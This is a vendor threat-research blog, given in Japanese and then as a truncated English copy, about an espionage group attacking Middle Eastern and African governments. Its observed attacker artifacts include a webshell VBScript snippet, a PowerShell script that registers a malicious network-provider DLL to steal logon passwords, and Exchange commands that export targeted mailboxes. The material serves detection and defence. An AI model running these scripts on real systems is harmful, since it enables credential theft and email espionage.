Cortex XDR が中東・アフリカの政府を狙う新たな活動グループの存在を明らかに

Oct 30, 2023
6 minutes
... views

概要

Cortex 脅威リサーチ チームは最近、中東とアフリカの政府機関を標的とした複数のスパイ攻撃を特定しました。私たちの調査結果によると、攻撃の主な目的は、特に政治家、軍事活動、外務省に関連した機密性の高い機密情報を入手することでした。

ほぼ同じ時期に発生したこれらの攻撃は、戦術、技術、および手順 (TTP) において非常にユニークな類似点をいくつか共有していました。その一部はこれまで実際に報告されたことがなく、それ以外の技術も比較的まれで、過去ほんの数例の攻撃者による使用しか報告がないものでした。

現在、私たちは攻撃の背後にいるアクティビティ グループを CL-STA-0043 として追跡しています。このアクティビティ グループの高度さ、環境適応力、被害者のレベルは、これが非常に有能な APT 脅威アクターであることを示唆しており、おそらくは政府の支援する脅威アクターと疑われています。

CL-STA-0043 を追跡および分析する中で、Web シェルを秘密裏に実行するためのインメモリーの VBS インプラントや、野生では初めて確認されためずらしいクレデンシャル (認証情報) 窃取手法など、攻撃者が使用した新しい回避手法とツールを発見しました。

おそらくこの調査で最も興味深い発見の 1 つは、攻撃者が少数の選ばれた標的に対してのみ使用した、まれで斬新な Exchange 電子メール漏出手法です (弊社のテレメトリーからの判明)。

本稿では、パロアルトネットワークス Cortex XDR 製品という「レンズ」を通して示された実行をはじめ、本攻撃で観測されたさまざまな TTP の情報を提供します。

目次

概要

目次

感染ベクトル: インメモリー VBS インプラント

Reconnaissance (偵察)

Privilege Escalation (特権昇格)

Potato スイート

固定キー攻撃が復活

Iislpe (IIS PE)

クレデンシャル窃取: ネットワーク プロバイダーを使ったクレデンシャル窃取

Lateral Movement (ラテラル ムーブ)

Yasso のデビュー: 新たなペネトレーション ツールセット

追加のラテラルムーブ TTP

Exfiltration (漏出): 電子メールデータの標的型窃取

Exchange 管理シェルの悪用

電子メール窃取用に PowerShell スナップイン (PSSnapins) を追加

結論

保護と緩和策

IoC (侵害指標)

追加リソース

感染ベクトル: インメモリー VBS インプラント

ここ数年、オンプレミスの IIS および Microsoft Exchange Server における複数のゼロデイ エクスプロイトから、これらのサーバーの悪用による標的ネットワークへの初期アクセス取得へと至るトレンドが増えています。

ほとんどの場合、こうした攻撃で観測される主なポストエクスプロイト手法は、さまざまな種類の Web シェルを展開することです。それによって攻撃者はリモート シェル経由で侵害したネットワークにアクセスできるようになります。

事例の 1 つを調査していたとき、私たちは、悪名高い China Chopper Webシェルの実行を繰り返し試みて失敗している痕跡を観測しました。これら一連の攻撃は、Cortex XDR のアンチ WebShell モジュールによってブロックされていました。これらの試行失敗の数日後、Exchange サーバーの w3wp.exe プロセスからの不審なアクティビティが新たに観測されました。このプロセスを調査したところ、これは脅威アクターが展開したインメモリーの VBscript インプラントに由来するものであるように思われました。このアクティビティもやはり Cortex XDR が検出したものです。

図1. 不審な AMSI デコード試行の検出 (Cortex XDR による)
図 1. 不審な AMSI デコード試行の検出 (Cortex XDR による)

以下はインメモリーの VBscript のスニペットです。

"request.Item(""<redacted>"");

IStringList.Item();

IServer.ScriptTimeout(""3600"");

IServer.CreateObject(""Scripting.Dictionary"");

IRequest.Form(""key"");

IStringList.Item();

ISessionObject.Value(""payload"");

IXMLDOMNode._00000029(""base64"");

IXMLDOMElement.dataType(""bin.base64"");

IXMLDOMElement.text(""<redacted>"");

IXMLDOMElement.nodeTypedValue();

ISessionObject.Value(""payload"");

IDictionary.Add(""payload"", ""Set Parameters=Server.CreateObject(""Scripting.Dictionary"")

Function Base64Encode(sText)

Dim oXML, oNode

i"");

IDictionary.Item(""payload"");

IServer.CreateObject(""Scripting.Dictionary"");

_Stream.Charset(""iso-8859-1"");

_Stream.Type(""1"");

_Stream.Open();

_Stream.Write(""Unsupported parameter type 00002011"");

<snipped code>

_Stream.ReadText();

IServer.CreateObject(""WScript.shell"");

IWshShell3._00000000();

IWshShell3.Exec(""cmd /c ""cd /d ""C:/<redacted>/""&ipconfig /all"" 2>&1"");"

Reconnaissance (偵察)

ネットワークに侵入した攻撃者は偵察活動を行い、ネットワークをマッピングして重要資産を特定しました。攻撃者は管理者アカウントの発見を中心とし、以下のような重要サーバーの特定することにフォーカスしていました。

  • ドメイン コントローラー
  • Web サーバー
  • Exchange サーバー
  • FTP サーバー
  • SQL データベース

この情報を取得するため、攻撃者は次のツールを実行しようとしていました。

  • Ladon Web スキャン ツール (k8gege 作成)
  • カスタム ネットワーク スキャナー
  • Nbtscan
  • Portscan
  • Windows コマンド: Netstat、nslookup、net、ipconfig、tasklist、quser
図 2. Cortex XDR および XSIAM による複数のツールの防止
図 2. Cortex XDR および XSIAM による複数のツールの防止

Privilege Escalation (特権昇格)

Potato スイート

攻撃者が攻撃を成功させるには、適切な権限 (admin/system) でツールやコマンドを実行する必要がありました。そのため彼らは流行りの Potato スイートからさまざまなツールを使っていました。Potato スイートは、さまざまなネイティブ Windows 特権昇格ツールのコレクションです。私たちが調査中に確認した主なツールは次のとおりです。

攻撃者はこれらのツールを使って管理者アカウントを作成し、昇格された権限を必要とするさまざまなツールを実行しようとしました。

図 3. Cortex XDR および XSIAM の WildFire モジュールによる JuicyPotatoNG の防止
図 3. Cortex XDR および XSIAM の WildFire モジュールによる JuicyPotatoNG の防止

固定キー攻撃が復活

攻撃で確認されたもう 1 つの手法は、「固定キー」と呼ばれるよく知られた特権昇格手法です。

Windows オペレーティング システムにはキーの組み合わせで起動できるアクセシビリティ機能が含まれています。この機能は、ユーザーがシステムへログインする前や、権限をもたないユーザーでも起動できます。攻撃者は、これらのプログラムの起動方法を変更し、コマンド プロンプトやバックドアを取得する可能性があります。

この一般的なアクセシビリティ機能の 1 つが sethc.exe で、これはよく「固定キー」と呼ばれています。この攻撃では、攻撃者は通常、レジストリー内の sethc.exe バイナリー、またはそれらのバイナリーへのポインター/参照を cmd.exe で置き換えます。実行されると、攻撃者に管理者特権のコマンド プロンプト シェルが提供され、任意のコマンドやその他のツールを実行できるようになります。

この事例では、sethc.exe のレジストリー キーを編集して cmd.exe へ向け、その後 sethc.exe ファイルにパラメーター「211」を指定して実行しようとする試みが複数回観測されました。これにより、システムの「固定キー」機能が有効になり、管理者特権のコマンド プロンプト シェルが実行されます。

図4 Cortex XDR & XSIAM による固定キー攻撃の防止
図 4. Cortex XDR & XSIAM による固定キー攻撃の防止

Iislpe (IIS PE)

さらにこの攻撃者は、前述の Ladon ツールを作成した作者と同じ「k8gege」によって作成された IIS 特権昇格ツール「Iislpe.exe」を使っていました。

クレデンシャル窃取: ネットワーク プロバイダーを使ったクレデンシャル窃取

CL-STA-0043 アクティビティ グループ以下にクラスタリングされた攻撃では、クレデンシャルの窃取を目的とした多くの技術やツールが展開されていました。たとえば MimikatzSam キーのダンプWDigest にクレデンシャルを平文で保存するよう強制、Active Directory から NTDS.dit ファイルを ntdsutil.exe を使ってダンプする、といったものです。これらの技術はすべてよく知られており、文書化されています。

ただし、ある技術が私たちの目を引きました。というのもこの技術は POC (概念実証) として 2022 年 8 月 に報告されたばかりで、本稿執筆時点では同手法の野生での悪用に言及した報告が公になっていなかっためです。

この方法を使って、攻撃者は「ntos」という名前の新しいネットワーク プロバイダーを登録する PowerShell スクリプトを実行していました。このスクリプトは攻撃者が C:\Windows\system32 フォルダにドロップした悪意のある DLL の ntos.dll を実行するように設定されていました。

$path = Get-ItemProperty -Path ""HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order"" -Name PROVIDERORDER

$UpdatedValue = $Path.PROVIDERORDER + "",ntos""

Set-ItemProperty -Path $Path.PSPath -Name ""PROVIDERORDER"" -Value $UpdatedValue

New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\ntos

New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\ntos\NetworkProvider

New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ntos\NetworkProvider -Name ""Class"" -Value 2

New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ntos\NetworkProvider -Name ""Name"" -Value ntos

New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ntos\NetworkProvider -Name ""ProviderPath"" -PropertyType ExpandString -Value ""%SystemRoot%\System32\ntos.dll""

ログイン アクティビティの一環として、Winlogon.exe はユーザーとパスワードを取得してそれらを mpnotify.exe へフォワードします。mpnotify.exe は悪意のある DLL をロードし、この DLL と平文のパスワードを共有します。次にこの悪意のある DLL は盗んだクレデンシャルを含む新しいファイルを作成します。その後このファイルは攻撃者のコマンド&コントロール サーバー (C2) に送信されます。

図 5. クレデンシャル窃取試行の防止を Cortex XDR および XSIAM で表示したところ
図 5. クレデンシャル窃取試行の防止を Cortex XDR および XSIAM で表示したところ

Lateral Movement (ラテラル ムーブ)

Yasso のデビュー: 新たなペネトレーション ツールセット

私たちは、CL-STA-0043 の活動を調査するなかで、比較的新しいペネトレーションテスト ツールセット「Yasso」の使用を観測しました。興味深いことに、このツールは 2022 年 1 月から一般公開されていますが、本稿執筆時点でこのツールが野生で使われた事例は公には報告されていません。

Yasso は中国語を話すペンテスターで Sairson というニックネームをもつ作成者が作成しました。スキャン、ブルート フォース、リモート インタラクティブ シェル、任意のコマンド実行などの多数の機能をまとめた、オープンソースかつマルチプラットフォームでイントラネットもサポートするペネトレーション ツールセットです。

さらに、Yasso には強力な SQL ペネトレーション機能があり、オペレーターがリモート アクションを実行するためのさまざまなデータベース機能を提供しています。

図 6. Yasso のコマンドライン ツール
図 6. Yasso のコマンドライン ツール

攻撃で最もよく使われたのは、以下の Yasso モジュールです。

  • SMB – SMB Service ブローアップ モジュール
  • Winrm – Winrm サービス ブローアップ モジュール
  • SSH – SSH サービス バースト モジュール (完全にインタラクティブなシェル接続)
  • MSSQL – SQL Server サービス ブローアップ モジュール、パワーリフティング補助モジュール

図 7 に示すように、Cortex XDR および XSIAM 製品は、さまざまな Yasso モジュールの使用を検出しました。

図 7. Yasso ツールの実行を Cortex XDR および XSIAM が検出したようす
図 7. Yasso ツールの実行を Cortex XDR および XSIAM が検出したようす

これらのモジュールは、標的となるエンドポイント、ユーザー名、パスワードを含めたテキスト ファイルとの組み合わせによる NTLM スプレー攻撃実行に使われていました。この攻撃では、攻撃者が短時間に複数のユーザーとパスワードの異なる組み合わせを使って複数のサーバーにログインしようとしていました。これに対し Cortex XDR と XSIAM の Identity Analytics モジュールが異常を検知し、不審な振る舞いに対する複数のアラートを生成しました (図 8)。

図 8. Identity Analytics モジュールによる NTLM スプレー攻撃を検出した Cortex XDR および XSIAM
図 8. Identity Analytics モジュールによる NTLM スプレー攻撃を検出した Cortex XDR および XSIAM

追加のラテラルムーブ TTP

ラテラルムーブでの Yasso 利用に加え、攻撃者がラテラルムーブ達成に向けてほかにも既知の一般技術を使うようすが観測されました。

観測されたツールのほとんどは、WMI やスケジュールされたタスク、Winrs、Net などの Windows のネイティブ ツールです。なかには、ラテラルムーブに Samba SMB クライアント を使っていた事例も観測されています。

Exfiltration (漏出): 電子メールデータの標的型窃取

これらの攻撃で観測された最も興味深い手法の 1 つは、侵害された Exchange サーバーからの標的型のデータ漏出手法でした。この手法のバリエーションは以前、Hafnium によって使われていたことが報告されています。このアクティビティは、Exchange 管理シェルまたは PowerShell スクリプトを悪用し、脅威アクターが重要と考える特定キーワードに従って、電子メールと PST ファイルを盗む、という内容で構成されています。

これらの電子メールを収集するための 2 つの非常にユニークな手法が観測されました。

  • Exchange 管理シェルの悪用
  • 電子メール窃取用に PowerShell スナップイン (PSSnapins) を追加
図 9. Cortex XDR および XSIAM が Exchange 管理シェルの悪用を防止したところ
図 9. Cortex XDR および XSIAM が Exchange 管理シェルの悪用を防止したところ

Exchange 管理シェルの悪用

1 つめの手法では Exchange 管理シェル (exshell.psc1) が悪用されていました。そこでは、ユーザー名に文字列「foreign」を含むユーザーからのすべての電子メールや、政府系アカウントとの間でやりとりされるすべての電子メールを CSV ファイルに保存するコマンドの実行が観測されました。

powershell.exe -psconsolefile "C:\Program files\microsoft\exchange server\v15\bin\exshell.psc1" -command "get-mailbox -Filter \"UserPrincipalName -Like \"*foreign*\"\" -ResultSize Unlimited | get-mailboxstatistics | sort-object TotalItemSize -Descending | Select-Object DisplayName,Alias,TotalItemSize -First 30 | export-csv c:\users\public\<redacted>\<redacted>.csv"
powershell.exe -psconsolefile "C:\Program files\microsoft\exchange server\v15\bin\exshell.psc1" -command "Get-MessageTrackingLog -ResultSize Unlimited | Where-Object {$_.Recipients -like \"*@<redacted>.gov.<redacted>\"}| select-object Sender,{$_.Recipients},{$_.MessageSubject} | export-csv c:\users\public\<redacted>\<redacted>.csv"
powershell.exe -psconsolefile "C:\Program files\microsoft\exchange server\v15\bin\exshell.psc1" -command "Get-MessageTrackingLog -ResultSize Unlimited | Where-Object {$_.sender -like \"*@<redacted>.gov.<redacted>\"}| select-object Sender,{$_.Recipients},{$_.MessageSubject} | export-csv c:\users\public\<redacted>\<redacted>.csv"

上記のコマンド ラインに加え、特定のコンテンツの検索 ("($_.MessageSubject -like '*<redacted>*')" というフィルターを利用) も観測されました。これらの検索は、極めて機微な国政や外交政策問題と関連するごく特定の個人や情報を対象とするものでした。

電子メール窃取用に PowerShell スナップイン (PSSnapins) を追加

2 つめの手法では、Exchange の PowerShell スナップイン を追加する複数の PowerShell スクリプトの実行を観測しました。これにより、攻撃者は Exchange サーバーを管理し、電子メールを盗めるようになります。

以下はそのスクリプトからのスニペットです。ここには元々、個人や大使館、軍事関連組織などの 30 を超える標的メールボックスが含まれていました。

\r\n$date=(Get-Date).AddDays(-3);\r\n$server=$env:computername;\r\n$path=\"\\\\\\\\$server\\\\c$\\\\users\\\\public\\\\libraries\\\\\" + [Guid]::newGuid().ToString();\r\nmkdir $path;\r\nAdd-PSSnapin Microsoft.Exchange.Management.Powershell.E2010;\r\n$culture = [System.Globalization.CultureInfo]::CreateSpecificCulture(\"en-US\");\r\n$culture.NumberFormat.NumberDecimalSeparator = \".\";\r\n$culture.NumberFormat.NumberGroupSeparator = \",\";\r\n[System.Threading.Thread]::CurrentThread.CurrentCulture = $culture;\r\n$filter = \"(Received -ge'$date') -or (Sent -ge'$date')\";\r\nNew-MailboxExportRequest -Name Request1 -Mailbox '<redacted>.atlanta' -ContentFilter $filter -FilePath \"$path\\\\<redacted>.atlanta.pst\";\r\nNew-MailboxExportRequest -Name Request2 -Mailbox '<redacted>.Kuwait' -ContentFilter $filter -FilePath \"$path\\\\<redacted>.Kuwait.pst\";\r\nNew-MailboxExportRequest -Name Request3 -Mailbox '<redacted>.Ankara' -ContentFilter $filter -FilePath \"$path\\\\<redacted>.Ankara.pst\";\r\nNew-MailboxExportRequest -Name Request4 -Mailbox '<redacted>.Paris' -ContentFilter $filter -FilePath \"$path\\\\<redacted>.Paris.pst\";\r\nNew-MailboxExportRequest -Name Request5 -Mailbox 'permanentsecretary' -ContentFilter $filter -FilePath \"$path\\\\permanentsecretary.pst\";\r\n# New-MailboxExportRequest -Name Request6 -Mailbox '<redacted> Press Office' -ContentFilter $filter -FilePath \"$path\\\\<redacted>.Press.Office.pst\";

これらのスクリプトの出力は c:\users\public\<省略> 以下の .tiff ファイルに保存されました。これらは、後に圧縮され、パスワードで保護され、攻撃者の C2 サーバーに送信されていました。

図 10. Exchange 管理シェルの悪用を Cortex XDR および XSIAM が検出したところ
図 10. Exchange 管理シェルの悪用を Cortex XDR および XSIAM が検出したところ
図 11. Outlook ファイルにアクセスする 7zip プロセスの Identity Analytics のアラートを Cortex XDR および XSIAM で表示したところ
図 11. Outlook ファイルにアクセスする 7zip プロセスの Identity Analytics のアラートを Cortex XDR および XSIAM で表示したところ

結論

本稿では、CL-STA-0043 という名前のアクティビティ クラスターでの使用が観測された、これまで報告のなかっためずらしい技術やツールをいくつか明らかにしました。本リサーチは現在も進行中で脅威アクターの正体解明にむけての調査中です。しかしながら、本稿で示した攻撃者の洗練度合いや粘り強さ、スパイ活動の動機などのレベルから、彼らは極めて高度で持続的な脅威の特徴を備えており、潜在的には国民国家の利益を代表して活動しているグループであることが考えられます。同様にこの事例は、脅威アクターが地政学関連のトピックや高位の公務員個人に関する非公開情報や機密情報をどのように入手しようとしているのかも明らかにしています。

保護と緩和策

本攻撃において Cortex XDR および XSIAM は、CL-STA-0043 で観測された悪意のあるアクティビティについて多数のアラートを生成しました。攻撃の各段階 (初期アクセス試行、まれなツール・高度な技術の使用、データ漏出試行) に対し、これらの製品は防止・検出アラートを発報していました。

SmartScore は弊社独自の ML (機械学習) ベースのスコアリング エンジンで、セキュリティ調査手法とそれに関連するデータをハイブリッド スコアリング システムに変換します。この SmartScore により、本インシデントは最高レベルのリスクである 100 と評価されました。

図 12. 本インシデントに関する SmartScore の情報
図 12. 本インシデントに関する SmartScore の情報

パロアルトネットワークス製品をご利用のお客様は、弊社の製品・サービスにより、本グループに関連する以下の対策が提供されています。

Cortex XDR は、エンドポイント、ネットワーク ファイアウォール、Active Directory、ID およびアクセス管理 (IAM) ソリューション、クラウド ワークロードを含む複数のデータ ソースからのユーザー アクティビティを分析することにより、ユーザーおよびクレデンシャル ベースの脅威を検出します。また、機械学習により、長期にわたるユーザーの行動プロファイルを構築します。Cortex XDR は、過去のアクティビティやピアー アクティビティ、期待される同者の行動と新しいアクティビティとを比較することにより、クレデンシャル ベースの攻撃を示唆する異常なアクティビティを検出します。

さらに Cortex XDR は本稿で取り上げた攻撃に関連し、以下の保護も提供しています。

  • 既知の悪意のあるマルウェアの実行を防止するほか、ローカル分析モジュールにもとづく機械学習と Behavioral Threat Protection によって未知のマルウェアの実行も防止します。
  • Cortex XDR 3.4 から利用可能になった新たな Credential Gathering Protection を使い、クレデンシャルを収集するツールや技術から保護します。
  • Cortex XDR バージョン 3.4 で新たにリリースされた Anti-Webshell Protection を使い、脅威による Web シェルからのコマンドのドロップや実行から保護します。
  • Anti-Exploitation モジュールと Behavioral Threat Protection を使い、 ProxyShell や ProxyLogon 含む、さまざまな脆弱性のエクスプロイトから保護します。
  • Cortex XDR Pro は振る舞い分析によりクレデンシャル ベース攻撃を含む、エクスプロイト後のアクティビティを検出します。

侵害の懸念があり弊社にインシデントレスポンスに関するご相談をなさりたい場合は、こちらのフォームからご連絡いただくか、infojapan@paloaltonetworks.comまでメールにてご連絡いただくか、下記の電話番号までお問い合わせください (ご相談は弊社製品のお客様には限定されません)。

北米フリーダイヤル:866.486.4842 (866.4.UNIT42)

EMEA: +31.20.299.3130

APAC: +65.6983.8730

日本: (+81) 50-1790-0200

IoC (侵害指標)

Yasso

6b37aec6253c336188d9c8035e90818a139e3425c6e590734f309bd45021f980

クレデンシャル ダンプ ツール (sam.exe)

77a3fa80621af4e1286b9dd07edaa37c139ca6c18e5695bc9b2c644a808f9d60

iislpe.exe

73b9cf0e64be1c05a70a9f98b0de4925e62160e557f72c75c67c1b8922799fc4

SMBexec

E781ce2d795c5dd6b0a5b849a414f5bd05bb99785f2ebf36edb70399205817ee

nbtscan

0f22e178a1e1d865fc31eb5465afbb746843b223bfa0ed1f112a02ccb6ce3f41

Ladon

291bc4421382d51e9ee42a16378092622f8eda32bf6b912c9a2ce5d962bcd8f4

aa99ae823a3e4c65969c1c3aa316218f5829544e4a433a4bab9f21df11d16154

ddcf878749611bc8b867e99d27f0bb8162169a8596a0b2676aa399f0f12bcbd7

ntos.dll

bcd2bdea2bfecd09e258b8777e3825c4a1d98af220e7b045ee7b6c30bf19d6df

追加リソース


Through the Cortex XDR Lens: Uncovering a New Activity Group Targeting Governments in the Middle East and Africa

Jun 14, 2023
16 minutes
... views

Executive Summary

The Cortex Threat Research team has recently identified multiple espionage attacks targeting governmental entities in the Middle East and Africa. According to our findings, the main goal of the attacks was to obtain highly confidential and sensitive information, specifically related to politicians, military activities, and ministries of foreign affairs.

The attacks, which happened around the same time frame, shared several very unique similarities in tactics, techniques, and procedures (TTPs), with some of them never reported before in the wild, while other techniques are relatively rare, with just a handful of attackers reported using them.

We currently track the activity group behind the attacks as CL-STA-0043. This activity group’s level of sophistication, adaptiveness, and victimology suggest a highly capable APT threat actor, and it is suspected to be a nation-state threat actor.

While tracking and analyzing CL-STA-0043, we discovered new evasive techniques and tools used by the attackers, such as an in-memory VBS implant to run webshell clandestinely, as well as a rare credential theft technique first seen in the wild.

Perhaps one of the most interesting findings of this investigation is the rare and novel Exchange email exfiltration technique that was used by the attackers only on a few selected targets, according to our telemetry.

In this blog post, we will provide information regarding the various TTPs observed in the attacks, including the execution as shown through the lens of the Palo Alto Networks Cortex XDR product.

 

Table of Contents

Executive Summary

Table of Contents

Infection Vector: An In-Memory VBS Implant

Reconnaissance

Privilege Escalation

The Potato Suite

Sticky Keys Attack is Making a Comeback

Iislpe IIS PE

Credential Theft: Using Network Providers To Steal Credentials

Lateral Movement

Debuting Yasso: A New Penetration Toolset

Additional Lateral Movement TTPs

Exfiltration: Stealing Targeted Email Data

Abusing of the Exchange Management Shell

Add PowerShell snap-in (PSSnapins) to steal emails

Conclusion

Protections and Mitigations

Indicators Of Compromise

Additional Resources

 

Infection Vector: An In-Memory VBS Implant

In the past couple of years, multiple zero-day exploits in on-premises IIS and Microsoft Exchange Servers led to a growing trend of exploiting these servers to gain an initial access to target networks.

In most cases, the main post exploitation method observed in such attacks is to deploy various kinds of webshell, which provide the attackers access to the compromised network via a remote shell.

During an investigation of one of the instances, we observed a series of failed attempts to execute the infamous China Chopper webshell, which were blocked by the Cortex XDR anti-webshell module. In the following days after the failed attempts, we observed a new suspicious activity originating from the Exchange Server’s w3wp.exe process, which upon investigation appeared to be resulting from an in-memory VBscript implant deployed by the threat actor. The activity was also detected by Cortex XDR.

 

Figure 1. Detection of the Suspicious AMSI decode attempt, as shown in Cortex XDR.
Figure 1. Detection of the Suspicious AMSI decode attempt, as shown in Cortex XDR.

 

Below is a snippet of the in-memory VBscript:

"request.Item(""<redacted>"");

IStringList.Item();

IServer.ScriptTimeout(""3600"");

IServer.CreateObject(""Scripting.Dictionary"");

IRequest.Form(""key"");

IStringList.Item();

ISessionObject.Value(""payload"");

IXMLDOMNode._00000029(""base64"");

IXMLDOMElement.dataType(""bin.base64"");

IXMLDOMElement.text(""<redacted>"");

IXMLDOMElement.nodeTypedValue();

ISessionObject.Value(""payload"");

IDictionary.Add(""payload"", ""Set Parameters=Server.CreateObject(""Scripting.Dictionary"")

Function Base64Encode(sText)

Dim oXML, oNode

i"");

IDictionary.Item(""payload"");

IServer.CreateObject(""Scripting.Dictionary"");

_Stream.Charset(""iso-8859-1"");

_Stream.Type(""1"");

_Stream.Open();

_Stream.Write(""Unsupported parameter type 00002011"");

<snipped code>

_Stream.ReadText();

IServer.CreateObject(""WScript.shell"");

IWshShell3._00000000();

IWshShell3.Exec(""cmd /c ""cd /d ""C:/<redacted>/""&ipconfig /all"" 2>&1"");"

 

Reconnaissance

Once the attackers had penetrated the network, they performed reconnaissance activity, mapping out the network and identifying critical assets. The attackers were mainly focused on finding administrative accounts and identifying important servers, such as:

  • Domain controllers
  • Web servers
  • Exchange servers
  • FTP servers
  • SQL databases

To get this information, the attackers tried to execute the following tools:

  • Ladon web scanning tool (authored by “k8gege”)
  • Custom network scanners
  • Nbtscan
  • Portscan
  • Windows commands: Netstat, nslookup, net, ipconfig, tasklist, quser
Figure 2. Prevention of multiple tools by the Cortex XDR & XSIAM
Figure 2. Prevention of multiple tools by the Cortex XDR & XSIAM

 

Privilege Escalation

The Potato Suite

In order to carry out the attacks successfully, the threat actors needed to run their tools and commands with adequate privileges (admin/system). To do so, they made use of different tools from the trending Potato suite. The Potato suite is a collection of various native Windows privilege escalation tools. The main tools that were observed during the investigation were:

Using those tools, the threat actor attempted to create administrative accounts, and to run various tools that require elevated privileges.

Figure 3. Prevention of JuicyPotatoNG by the Cortex XDR & XSIAM WildFire module
Figure 3. Prevention of JuicyPotatoNG by the Cortex XDR & XSIAM WildFire module

 

Sticky Keys Attack is Making a Comeback

Another technique that we observed during the attacks was the well-known privilege escalation technique called “Sticky Keys”.

The Windows operating system contains accessibility features that may be launched with a key combination before a user has logged in to the system, or by an unprivileged user. An attacker can modify the way these programs are launched to get a command prompt or a backdoor.

One of the common accessibility features is sethc.exe, which is often referred to as “Sticky Keys”. In the attack, the attacker usually replaces the sethc.exe binary or pointers/references to these binaries in the registry, with cmd.exe. When executed, it provides an elevated command prompt shell to the attacker to run arbitrary commands and other tools.

There were multiple observed attempts to edit the registry key for sethc.exe to point to cmd.exe and subsequently run the sethc.exe file with the parameter “211”. This turns on the system’s “Sticky Keys” feature which in return executes the elevated command prompt shell.

Figure 4. Prevention of Sticky Key attack by the Cortex XDR & XSIAM
Figure 4. Prevention of Sticky Key attack by the Cortex XDR & XSIAM

 

Iislpe IIS PE

In addition, the attackers used a privilege escalation tool “Iislpe.exe”, which is an IIS privilege escalation tool, written by “k8gege”, the same author who created the aforementioned Ladon tool.

 

Credential Theft: Using Network Providers To Steal Credentials

In the attacks clustered under the CL-STA-0043 activity group, there were many techniques and tools deployed aiming to steal credentials, such as Mimikatz, Dumping the Sam key, Forcing WDigest to store credentials in plaintext and Dumping NTDS.dit file from the Active Directory using ntdsutil.exe. These techniques are all well-known and documented.

However, one technique did stand out, since it was only first reported as a POC (Proof of Concept) in August 2022, and up to the time of writing this report, there were no public mentions of this technique being exploited in the wild.

Using this method, the attackers executed a PowerShell script that registered a new network provider, named “ntos”, set to execute a malicious DLL, ntos.dll, dropped by the attacker in the C:\Windows\system32 folder.

$path = Get-ItemProperty -Path ""HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order"" -Name PROVIDERORDER

$UpdatedValue = $Path.PROVIDERORDER + "",ntos""

Set-ItemProperty -Path $Path.PSPath -Name ""PROVIDERORDER"" -Value $UpdatedValue

New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\ntos

New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\ntos\NetworkProvider

New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ntos\NetworkProvider -Name ""Class"" -Value 2

New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ntos\NetworkProvider -Name ""Name"" -Value ntos

New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ntos\NetworkProvider -Name ""ProviderPath"" -PropertyType ExpandString -Value ""%SystemRoot%\System32\ntos.dll""

 

As part of the login activity, Winlogon.exe captures the user and password and forwards them to mpnotify.exe, which loads the malicious DLL and shares the cleartext passwords with it. The malicious DLL then creates a new file, containing the stolen credentials. This file is then sent to the command and control server (C2) of the attackers.

Figure 5. Prevention of the credential theft attempt, as shown in Cortex XDR & XSIAM.
Figure 5. Prevention of the credential theft attempt, as shown in Cortex XDR & XSIAM.

 

Lateral Movement

Debuting Yasso: A New Penetration Toolset

As part of the investigation of the activity in CL-STA-0043, we observed the use of a relatively new penetration testing toolset - “Yasso”. Interestingly, although this tool has been publicly available since January 2022, and at the time of this report, there were no publicly reported cases where this tool was used in the wild.

 

Yasso, authored by a Mandarin-speaking pentester nicknamed Sairson, is an open source multi-platform intranet-assisted penetration toolset that brings together a number of features such as scanning, brute forcing, remote interactive shell, and running arbitrary commands.

In addition, Yasso has powerful SQL penetration functions, and it provides a range of database functionalities for the operator to perform remote actions.

Figure 6. Yasso command line tool.
Figure 6. Yasso command line tool.

 

The following Yasso modules were most in use during the attacks:

  • SMB – SMB Service blowup module
  • Winrm – Winrm service blowup module
  • SSH – SSH service burst module, fully interactive shell connection
  • MSSQL – SQL Server service blowup module and powerlifting auxiliary module

The use of the different Yasso modules were detected in the Cortex XDR & XSIAM product, as shown in Figure 7.

Figure 7. Detection of the Yasso tool execution, as shown in Cortex XDR & XSIAM.
Figure 7. Detection of the Yasso tool execution, as shown in Cortex XDR & XSIAM.

 

Those modules, in combination with text files that contain target endpoints, usernames and passwords, were used to perform a NTLM spray attack. In this attack, the attacker tried to log in to multiple servers using different combinations of multiple users and passwords in a short period of time. Cortex XDR & XSIAM’s Identity Analytics module detected the anomaly and raised multiple alerts for the suspicious behavior, as shown in Figure 8.

Figure 8. Detection by the Identity Analytics module of the NTLM spray attack, as shown in Cortex XDR & XSIAM.
Figure 8. Detection by the Identity Analytics module of the NTLM spray attack, as shown in Cortex XDR & XSIAM.

 

Additional Lateral Movement TTPs

Besides the use of Yasso for lateral movement, the attackers were also observed using other common and known techniques to accomplish that.

The tools observed were mostly native Windows tools such as WMI, Scheduled task, Winrs and Net. In addition, the use of Samba SMBclient for lateral movement was observed in some instances.

 

Exfiltration: Stealing Targeted Email Data

One of the most interesting techniques observed in the attacks was the targeted data exfiltration method from the compromised Exchange servers. A variation of this technique was reported before to be used by Hafnium. This activity consists of abusing the Exchange Management Shell or PowerShell scripts in order to steal emails and PST files according to specific keywords that the threat actors deem important.

To gather those emails, two very unique methods were observed:

  • Abuse of the Exchange Management Shell
  • Add PowerShell snap-in (PSSnapins) to steal emails through a script
Figure 9. Prevention of the Exchange management shell abuse, as shown in Cortex XDR & XSIAM.
Figure 9. Prevention of the Exchange management shell abuse, as shown in Cortex XDR & XSIAM.

 

Abusing of the Exchange Management Shell

 

In the first method, we observed the abuse of the Exchange Management Shell (exshell.psc1) to run a command that saved all emails from users that contain the string “foreign” and all emails sent from or to governmental accounts, into csv files.

powershell.exe -psconsolefile "C:\Program files\microsoft\exchange server\v15\bin\exshell.psc1" -command "get-mailbox -Filter \"UserPrincipalName -Like \"*foreign*\"\" -ResultSize Unlimited | get-mailboxstatistics | sort-object TotalItemSize -Descending | Select-Object DisplayName,Alias,TotalItemSize -First 30 | export-csv c:\users\public\<redacted>\<redacted>.csv"

 

